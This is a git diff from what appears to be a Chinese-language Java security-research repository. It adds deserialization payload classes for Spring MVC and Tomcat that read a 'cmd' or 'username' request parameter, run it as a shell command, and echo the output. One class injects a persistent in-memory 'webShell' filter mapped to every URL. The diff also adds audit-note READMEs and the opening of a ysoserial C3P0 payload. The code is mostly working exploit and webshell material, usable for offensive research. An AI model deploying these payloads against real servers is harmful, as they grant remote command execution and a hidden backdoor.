+ org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
+ filterMaps[i] = filterMaps[0];
+ filterMaps[0] = filterMap;
+ break;
+ }
+ }
+
+ //恢复成LifecycleState.STARTE,否则会造成服务不可用
+ stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
+
+ }
+
+ }catch (Exception e){
+ e.printStackTrace();
+ }
+
+ }
+
+ }catch (Exception e){
+ e.printStackTrace();
+ }
+
+ return "test";
+ }
+}
\ No newline at end of file
diff --git "a/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/evilclass/springmvc.java" "b/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/evilclass/springmvc.java"
new file mode 100644
index 0000000..4a6bdf1
--- /dev/null
+++ "b/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/evilclass/springmvc.java"
@@ -0,0 +1,47 @@
+package com.firebasky.echo.evilclass;
+
+import com.sun.org.apache.xalan.internal.xsltc.DOM;
+import com.sun.org.apache.xalan.internal.xsltc.TransletException;
+import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
+import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
+import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
+import org.springframework.web.context.request.RequestContextHolder;
+import org.springframework.web.context.request.ServletRequestAttributes;
+
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+
+public class springmvc extends AbstractTranslet {
+
+ public springmvc() throws IOException {
+ HttpServletRequest request =((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
+ HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getResponse();
+ String resHeader=request.getParameter ( "cmd" );
+ java.io.InputStream in = java.lang.Runtime.getRuntime().exec(resHeader).getInputStream();
+ BufferedReader br = null;
+ br = new BufferedReader (new InputStreamReader(in, "GBK"));
+ String line;
+ StringBuilder sb = new StringBuilder();
+ while ((line = br.readLine()) != null) {
+ sb.append(line);
+ sb.append("\n");
+ }
+ java.io.PrintWriter out = new java.io.PrintWriter(response.getOutputStream());
+ out.write(sb.toString ());
+ out.flush();
+ out.close();
+ }
+
+ @Override
+ public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
+
+ }
+
+ @Override
+ public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
+
+ }
+}
diff --git "a/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/evilclass/tomcat72.java" "b/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/evilclass/tomcat72.java"
new file mode 100644
index 0000000..e916d20
--- /dev/null
+++ "b/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/evilclass/tomcat72.java"
@@ -0,0 +1,91 @@
+package com.firebasky.echo.evilclass;
+
+
+import com.sun.org.apache.xalan.internal.xsltc.DOM;
+import com.sun.org.apache.xalan.internal.xsltc.TransletException;
+import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
+import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
+import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
+import org.apache.coyote.Request;
+import org.apache.tomcat.util.buf.ByteChunk;
+import org.apache.tomcat.util.modeler.Registry;
+
+import javax.management.MBeanServer;
+import java.io.InputStream;
+import java.lang.reflect.Field;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.Scanner;
+
+public class tomcat72 extends AbstractTranslet {
+ public tomcat72(){
+ try{
+
+ MBeanServer mbeanServer = Registry.getRegistry((Object)null, (Object)null).getMBeanServer();
+ Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
+ field.setAccessible(true);
+ Object obj = field.get(mbeanServer);
+
+ field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
+ field.setAccessible(true);
+ obj = field.get(obj);
+
+ field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
+ field.setAccessible(true);
+ HashMap obj2 = (HashMap)field.get(obj);
+ obj = ((HashMap)obj2.get("Catalina")).get("name=\"http-bio-8888\",type=GlobalRequestProcessor");
+
+ field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
+ field.setAccessible(true);
+ obj = field.get(obj);
+
+ field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
+ field.setAccessible(true);
+ obj = field.get(obj);
+
+ field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
+ field.setAccessible(true);
+ ArrayList obj3 = (ArrayList)field.get(obj);
+
+ field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
+ field.setAccessible(true);
+
+ boolean isLinux = true;
+ String osTyp = System.getProperty("os.name");
+ if (osTyp != null && osTyp.toLowerCase().contains("win")) {
+ isLinux = false;
+ }
+
+ for (int i = 0; i < obj3.size(); i++) {
+ Request obj4 = (Request) field.get(obj3.get(i));
+ String username = obj4.getParameters().getParameter("username");
+ if(username != null){
+ String[] cmds = isLinux ? new String[]{"sh", "-c", username} : new String[]{"cmd.exe", "/c", username};
+ InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
+ Scanner s = new Scanner(in).useDelimiter("\\a");
+ String output = "";
+ while (s.hasNext()){
+ output += s.next();
+ }
+
+ byte[] buf = output.getBytes();
+ ByteChunk bc = new ByteChunk();
+ bc.setBytes(buf, 0, buf.length);
+ obj4.getResponse().doWrite(bc);
+ break;
+ }
+ }
+ } catch (Exception e) {
+// System.out.println("=======================");
+// System.out.println(e);
+ }
+ }
+
+ public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
+
+ }
+
+ public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
+
+ }
+}
\ No newline at end of file
diff --git "a/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/evilclass/tomcat82.java" "b/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/evilclass/tomcat82.java"
new file mode 100644
index 0000000..1b898dc
--- /dev/null
+++ "b/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/evilclass/tomcat82.java"
@@ -0,0 +1,86 @@
+package com.firebasky.echo.evilclass;
+
+import com.sun.org.apache.xalan.internal.xsltc.DOM;
+import com.sun.org.apache.xalan.internal.xsltc.TransletException;
+import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
+import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
+import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
+import org.apache.coyote.Request;
+import org.apache.tomcat.util.buf.ByteChunk;
+import org.apache.tomcat.util.modeler.Registry;
+import javax.management.MBeanServer;
+import java.io.InputStream;
+import java.lang.reflect.Field;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.Scanner;
+
+public class tomcat82 extends AbstractTranslet {
+ public tomcat82() {
+ try{
+ MBeanServer mbeanServer = Registry.getRegistry((Object)null, (Object)null).getMBeanServer();
+ Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
+ field.setAccessible(true);
+ Object obj = field.get(mbeanServer);
+
+ field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
+ field.setAccessible(true);
+ obj = field.get(obj);
+
+ field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
+ field.setAccessible(true);
+ HashMap obj2 = (HashMap)field.get(obj);
+ obj = ((HashMap)obj2.get("Catalina")).get("name=\"http-nio-8888\",type=GlobalRequestProcessor");
+
+ field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
+ field.setAccessible(true);
+ obj = field.get(obj);
+
+ field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
+ field.setAccessible(true);
+ obj = field.get(obj);
+
+ field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
+ field.setAccessible(true);
+ ArrayList obj3 = (ArrayList)field.get(obj);
+
+ field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
+ field.setAccessible(true);
+
+ boolean isLinux = true;
+ String osTyp = System.getProperty("os.name");
+ if (osTyp != null && osTyp.toLowerCase().contains("win")) {
+ isLinux = false;
+ }
+
+ for (int i = 0; i < obj3.size(); i++) {
+ Request obj4 = (Request) field.get(obj3.get(i));
+ String username = obj4.getParameters().getParameter("cmd");
+ if(username != null){
+ String[] cmds = isLinux ? new String[]{"sh", "-c", username} : new String[]{"cmd.exe", "/c", username};
+ InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
+ Scanner s = new Scanner(in).useDelimiter("\\a");
+ String output = "";
+ while (s.hasNext()){
+ output += s.next();
+ }
+
+ byte[] buf = output.getBytes();
+ ByteChunk bc = new ByteChunk();
+ bc.setBytes(buf, 0, buf.length);
+ obj4.getResponse().doWrite(bc);
+ break;
+ }
+ }
+
+ } catch (Exception e){
+ }
+ }
+ public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
+
+ }
+
+ public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
+
+ }
+}
\ No newline at end of file
diff --git "a/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/evilclass/tomcat_v1.java" "b/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/evilclass/tomcat_v1.java"
new file mode 100644
index 0000000..675b292
--- /dev/null
+++ "b/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/evilclass/tomcat_v1.java"
@@ -0,0 +1,98 @@
+package com.firebasky.echo.evilclass;
+
+import com.sun.org.apache.xalan.internal.xsltc.DOM;
+import com.sun.org.apache.xalan.internal.xsltc.TransletException;
+import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
+import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
+import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
+/**
+ * 基于全局储存获取Tomcat Response
+ *
+ * ?cmd=whoami
+ *
+ * shiro可以使用,tomcat 7好像不行,并且限制了max header
+ */
+public class tomcat_v1 extends AbstractTranslet {
+ public tomcat_v1() {
+ try{
+ //传递命令的参数名
+ String pass="cmd";
+ //WebappClassLoaderBase
+ org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
+
+ //ApplicationContext
+ org.apache.catalina.Context context=webappClassLoaderBase.getResources().getContext();
+ java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
+ contextField.setAccessible(true);
+ org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(context);
+
+ //StandardService
+ java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
+ serviceField.setAccessible(true);
+ org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
+
+ //Connector
+ org.apache.catalina.connector.Connector connectors[]=standardService.findConnectors();
+
+ //筛选Connector
+ for (int i=0;i threadLocalRequest = (ThreadLocal) lastServicedRequest.get(null);
+ ThreadLocal threadLocalResponse = (ThreadLocal) lastServicedResponse.get(null);
+ javax.servlet.ServletRequest request = threadLocalRequest.get();
+ javax.servlet.ServletResponse response = threadLocalResponse.get();
+
+ String cmd=request.getParameter("cmd");
+
+ if(cmd!=null){
+ String[] cmds=null;
+
+ if(System.getProperty("os.name").toLowerCase().contains("win")){
+ cmds=new String[]{"cmd.exe", "/c", cmd};
+ }else{
+ cmds=new String[]{"/bin/bash", "-c", cmd};
+ }
+
+ java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
+ java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
+ String output = s.hasNext() ? s.next() : "";
+
+ java.io.Writer writer = response.getWriter();
+ //目前得到的response是org.apache.catalina.connector.ResponseFacade,其封装了org.apache.catalina.connector.Response,要修改的usingWriter字段在后者中
+ java.lang.reflect.Field r=response.getClass().getDeclaredField("response");
+ r.setAccessible(true);
+ java.lang.reflect.Field usingWriter = Class.forName("org.apache.catalina.connector.Response").getDeclaredField("usingWriter");
+ usingWriter.setAccessible(true);
+ usingWriter.set(r.get(response), Boolean.FALSE);
+ //解决报错。。
+ writer.write(output);
+ writer.flush();
+ writer.close();
+ }
+ }
+
+ }catch (Exception e){
+ e.printStackTrace();
+ }
+ }
+
+ @Override
+ public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
+
+ }
+
+ @Override
+ public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
+
+ }
+}
diff --git "a/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/evilclass/tomcat_v3.java" "b/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/evilclass/tomcat_v3.java"
new file mode 100644
index 0000000..0c11e75
--- /dev/null
+++ "b/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/evilclass/tomcat_v3.java"
@@ -0,0 +1,77 @@
+package com.firebasky.echo.evilclass;
+
+import com.sun.org.apache.xalan.internal.xsltc.DOM;
+import com.sun.org.apache.xalan.internal.xsltc.TransletException;
+import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
+import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
+import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
+
+/**
+ * header cmd=whoami
+ */
+public class tomcat_v3 extends AbstractTranslet {
+ public tomcat_v3() {
+ try {
+ java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
+ java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
+ java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
+ java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
+ contextField.setAccessible(true);
+ serviceField.setAccessible(true);
+ requestField.setAccessible(true);
+ getHandlerMethod.setAccessible(true);
+ org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
+ (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
+ org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
+ org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
+ org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
+ for (int i=0;i threadLocalRequest = (ThreadLocal) lastServicedRequest.get(null);
+ javax.servlet.ServletRequest request = threadLocalRequest.get();
+
+ try {
+ javax.servlet.ServletContext servletContext=request.getServletContext();
+
+ //判断是否已有该名字的filter,有则不再添加
+ if (servletContext.getFilterRegistration("webShell") == null) {
+
+ class WebShell implements javax.servlet.Filter{
+
+ public void doFilter(javax.servlet.ServletRequest request, javax.servlet.ServletResponse response, javax.servlet.FilterChain chain) throws java.io.IOException, javax.servlet.ServletException {
+ System.out.println("filter");
+ String cmd=request.getParameter("cmd");
+
+ if(cmd!=null) {
+ String[] cmds = null;
+
+ if (System.getProperty("os.name").toLowerCase().contains("win")) {
+ cmds = new String[]{"cmd.exe", "/c", cmd};
+ } else {
+ cmds = new String[]{"sh", "-c", cmd};
+ }
+
+ java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
+ java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
+ String output = s.hasNext() ? s.next() : "";
+ java.io.Writer writer = response.getWriter();
+ writer.write(output);
+ writer.flush();
+ writer.close();
+ }
+
+ chain.doFilter(request, response);
+ }
+ }
+
+ //因为门面模式的使用,此处servletContext实际是ApplicationContextFacade,需要提取ApplicationContext
+ java.lang.reflect.Field contextField=servletContext.getClass().getDeclaredField("context");
+ contextField.setAccessible(true);
+ org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);
+
+ //获取ApplicationContext中的StandardContext
+ contextField=applicationContext.getClass().getDeclaredField("context");
+ contextField.setAccessible(true);
+ org.apache.catalina.core.StandardContext standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);
+
+ //修改state
+ java.lang.reflect.Field stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
+ stateField.setAccessible(true);
+ stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);
+
+ //注册filter
+ javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("webShell", new WebShell());
+ filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{"/*"});
+
+ //添加到filterConfigs
+ java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
+ filterStartMethod.setAccessible(true);
+ filterStartMethod.invoke(standardContext, null);
+
+ //调整filter位置
+ org.apache.tomcat.util.descriptor.web.FilterMap[] filterMaps = standardContext.findFilterMaps();
+ for (int i = 0; i < filterMaps.length; i++) {
+ if (filterMaps[i].getFilterName().equalsIgnoreCase("webShell")) {
+ org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
+ filterMaps[i] = filterMaps[0];
+ filterMaps[0] = filterMap;
+ break;
+ }
+ }
+
+ //恢复成LifecycleState.STARTE,否则会造成服务不可用
+ stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
+
+ }
+
+ }catch (Exception e){
+ e.printStackTrace();
+ }
+
+ }
+
+ }catch (Exception e){
+ e.printStackTrace();
+ }
+ }
+
+ @Override
+ public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
+
+ }
+
+ @Override
+ public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
+
+ }
+}
diff --git "a/java\345\233\236\346\230\276/src/main/resources/application.properties" "b/java\345\233\236\346\230\276/src/main/resources/application.properties"
new file mode 100644
index 0000000..8b13789
--- /dev/null
+++ "b/java\345\233\236\346\230\276/src/main/resources/application.properties"
@@ -0,0 +1 @@
+
diff --git "a/java\345\233\236\346\230\276/src/test/java/com/firebasky/echo/EchoApplicationTests.java" "b/java\345\233\236\346\230\276/src/test/java/com/firebasky/echo/EchoApplicationTests.java"
new file mode 100644
index 0000000..75e4d32
--- /dev/null
+++ "b/java\345\233\236\346\230\276/src/test/java/com/firebasky/echo/EchoApplicationTests.java"
@@ -0,0 +1,13 @@
+package com.firebasky.echo;
+
+import org.junit.jupiter.api.Test;
+import org.springframework.boot.test.context.SpringBootTest;
+
+@SpringBootTest
+class EchoApplicationTests {
+
+ @Test
+ void contextLoads() {
+ }
+
+}
diff --git "a/java\345\260\217\345\236\213\346\241\206\346\236\266/Readme.md" "b/java\345\260\217\345\236\213\346\241\206\346\236\266/Readme.md"
index 4cca6c6..34fce36 100644
--- "a/java\345\260\217\345\236\213\346\241\206\346\236\266/Readme.md"
+++ "b/java\345\260\217\345\236\213\346\241\206\346\236\266/Readme.md"
@@ -3,10 +3,29 @@
>[java危险函数](./java危险函数.md)
>[代码审计基础](./代码审计基础.pdf)
-+ 2021/6/1 [JAVA代码审计的一些Tips(附脚本)](https://xz.aliyun.com/t/1633)
-+ 2021/6/1 [java代码审计之租车系统](./java代码审计之租车系统.pdf) [框架下载连接](http://down.chinaz.com/soft/38425.htm)
-+ 2021/6/1 [JAVA代码审计之铁人下载系统 v1.0](http://foreversong.cn/archives/1005)
-+ 2021/6/2 [JAVA代码审计 | 因酷网校在线教育系统](https://xz.aliyun.com/t/2646)
-+ 2021/6/3 [Java 代码审计入门-02 SQL 漏洞原理与实际案例介绍](https://xz.aliyun.com/t/6872) [流程图CVE-2019-9615](./img/CVE-2019-9615.png)
-+ 2021/6/3 [Java 代码审计入门-03 XSS 漏洞原理与实际案例介绍](https://xz.aliyun.com/t/6937) [漏洞代码CVE_2018_19178](./code/CVE_2018_19178.java)
-+ 2021/6/4 [Java 代码审计入门-04 SSRF 漏洞原理与实际案例介绍](https://xz.aliyun.com/t/7186)
++ 2021/6/1 [JAVA代码审计的一些Tips(附脚本)](https://xz.aliyun.com/t/1633)
++ 2021/6/1 [java代码审计之租车系统](./java代码审计之租车系统.pdf) [框架下载连接](http://down.chinaz.com/soft/38425.htm)
++ 2021/6/1 [JAVA代码审计之铁人下载系统 v1.0](http://foreversong.cn/archives/1005)
++ 2021/6/2 [JAVA代码审计 | 因酷网校在线教育系统](https://xz.aliyun.com/t/2646)
++ 2021/6/3 [Java 代码审计入门-02 SQL 漏洞原理与实际案例介绍](https://xz.aliyun.com/t/6872) [流程图CVE-2019-9615](./img/CVE-2019-9615.png)
++ 2021/6/3 [Java 代码审计入门-03 XSS 漏洞原理与实际案例介绍](https://xz.aliyun.com/t/6937) [漏洞代码CVE_2018_19178](./code/CVE_2018_19178.java)
++ 2021/6/4 [Java 代码审计入门-04 SSRF 漏洞原理与实际案例介绍](https://xz.aliyun.com/t/7186)
++ 2021/10/6 学习了java代码审计书中的jspxcms,发现其中的**conn.getContentType('image')可以通过自己搭建的http服务器实现**。 evilserver.php
++ 2021/11/01 突然间看了一篇文章[代码审计入门之Jeeplus代码审计](https://www.freebuf.com/articles/web/220066.html)
++ 2021/11/02 [CVE-2020-10189 Zoho ManageEngine反序列化RCE](https://xz.aliyun.com/t/7439) **对文件进行反序列化,绕过上传。** [参考](https://www.anquanke.com/post/id/200474)
++ 2022/02/03 [java代码审计系列第一弹——巡云轻论坛](https://www.freebuf.com/vuls/317847.html)
+
+
+## 好文章
+
+https://www.sec-in.com/author/8 这个师傅太猛了
+
++ 2021/12/21 [SpringMVC寻找Controller技巧](https://www.sec-in.com/article/552) **@(.*?)Mapping\(**
++ 2021/12/21 [绕过后缀安全检查进行文件上传](https://sec-in.com/article/647) **解决了条件竞争不知道文件名的问题,通过异常报错让程序停止向下执行绕过。(在multipart做文章)**
++ 2021/12/21 [绕过后缀安全检查进行文件上传-2](https://www.sec-in.com/article/1328) **只能说非常np了,servlet单例,属性在调用时会被共享,存在线程安全问题。扩展一下java中volatile有可能存在线程安全问题[参考](https://github.com/Firebasky/Java/blob/main/java%E6%97%A5%E5%B8%B8/Thinking_in_java%E9%AB%98%E7%BA%A7%E4%B9%8Bvolatile.md)** 看看能不能搭建一个环境复现一下。。。。
++ 2022/01/31 [验证是否存在写文件漏洞小技巧](https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&mid=2247483994&idx=1&sn=2d29f31afa27a3709b5dc9e46532230a&chksm=c19705ebf6e08cfdd6dc59937beee4a77110b3cac9958335a6cfdbd020d00f2f24a7033063f2&mpshare=1&scene=23&srcid=0131EzMk9fpayyNZeXFR8nhb&sharer_sharetime=1643561054742&sharer_shareid=33a823b10ae99f33a60db621d83241cb#rd)
++ 2022/02/26 [记一次曲折的weblogic上传webshell](https://chaserw.github.io/2021/11/05/%E8%AE%B0%E4%B8%80%E6%AC%A1%E6%9B%B2%E6%8A%98%E7%9A%84weblogic%E4%B8%8A%E4%BC%A0webshell/)
++ 2022/10/08 [实战 | 一次成功的子域名劫持](https://mp.weixin.qq.com/s/xA6OVbeQrCgeYBWMtkvWVA) **学习**
++ 2022/10/22 [上传包可“绕过”Java过滤器的检查?](https://gv7.me/articles/2019/why-can-multipart-post-bypass-java-filter/) **遇到了post请求有waf可以试一试文件上传的方法传递参数**
++ 2022/10/22 [burpsuite保存现有数据包记录&导入之前的抓包记录](https://blog.csdn.net/Fly_hps/article/details/88854111) [148处XSS你如何提交给开发修复?](https://gv7.me/articles/2017/how-do-to-submit-148-xss-vulnerabilities/) **bp的保存数据**
++ 2022/11/06 [【干货分享】五分钟教你挖掘小程序漏洞](https://mp.weixin.qq.com/s/95YiN8XJLGPUS5ykBUsmAg【干货分享】五分钟教你挖掘小程序漏洞) **小程序挖掘**
diff --git "a/java\345\260\217\345\236\213\346\241\206\346\236\266/java\345\215\261\351\231\251\345\207\275\346\225\260.md" "b/java\345\260\217\345\236\213\346\241\206\346\236\266/java\345\215\261\351\231\251\345\207\275\346\225\260.md"
index f2c2aed..c2ebd96 100644
--- "a/java\345\260\217\345\236\213\346\241\206\346\236\266/java\345\215\261\351\231\251\345\207\275\346\225\260.md"
+++ "b/java\345\260\217\345\236\213\346\241\206\346\236\266/java\345\215\261\351\231\251\345\207\275\346\225\260.md"
@@ -28,6 +28,10 @@ SQL 注入: Select、Dao 、from 、delete 、update、insert
命令注入: getRuntime、exec、cmd、shell GroovyShell.evaluate
```
+```java
+ssrf: HttpClient.execute()、HttpClient.executeMethod()、HttpURLConnection.connect、HttpURLConnection.getInputStream、URL.openStream、HttpServletRequest、BasicHttpEntityEnclosingRequest、DefaultBHttpClientConnection、BasicHttpRequest、
+```
+
```java
缓冲区溢出: strcpy,strcat,scanf,memcpy,memmoGetc(),fgetc(),getchar;read,printf
```
diff --git "a/java\345\272\217\345\210\227\345\214\226\351\223\276/C3P0/Readme.md" "b/java\345\272\217\345\210\227\345\214\226\351\223\276/C3P0/Readme.md"
index 3af5a91..784f71e 100644
--- "a/java\345\272\217\345\210\227\345\214\226\351\223\276/C3P0/Readme.md"
+++ "b/java\345\272\217\345\210\227\345\214\226\351\223\276/C3P0/Readme.md"
@@ -50,6 +50,90 @@ public static String bytesToHexString(byte[] bArray, int length) {
}
```
+## 不出网利用
+
+
+[JAVA反序列化之C3P0不出网利用](https://mp.weixin.qq.com/s?__biz=MzkzNTI4NjU1Mw==&mid=2247483871&idx=1&sn=56c63dc3f4dc22ad9c61143ee2c484df&chksm=c2b103a9f5c68abfb8e6cb39e81210cce98a3a6850c69b756b7018bc0db829d00af08839d8fc&mpshare=1&scene=23&srcid=1009lg8jEvc5MFXslLojyUud&sharer_sharetime=1644428964407&sharer_shareid=33a823b10ae99f33a60db621d83241cb#rd)
+
+```java
+package ysoserial.payloads;
+
+
+import java.io.PrintWriter;
+import java.sql.SQLException;
+import java.sql.SQLFeatureNotSupportedException;
+import java.util.logging.Logger;
+
+import javax.naming.NamingException;
+import javax.naming.Reference;
+import javax.naming.Referenceable;
+import javax.naming.StringRefAddr;
+import javax.sql.ConnectionPoolDataSource;
+import javax.sql.PooledConnection;
+
+import com.mchange.v2.c3p0.PoolBackedDataSource;
+import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
+
+import org.apache.naming.ResourceRef;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+
+/**
+yulegeyu modified
+ */
+@PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" )
+@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
+@Authors({ Authors.MBECHLER })
+public class C3P0Tomcat implements ObjectPayload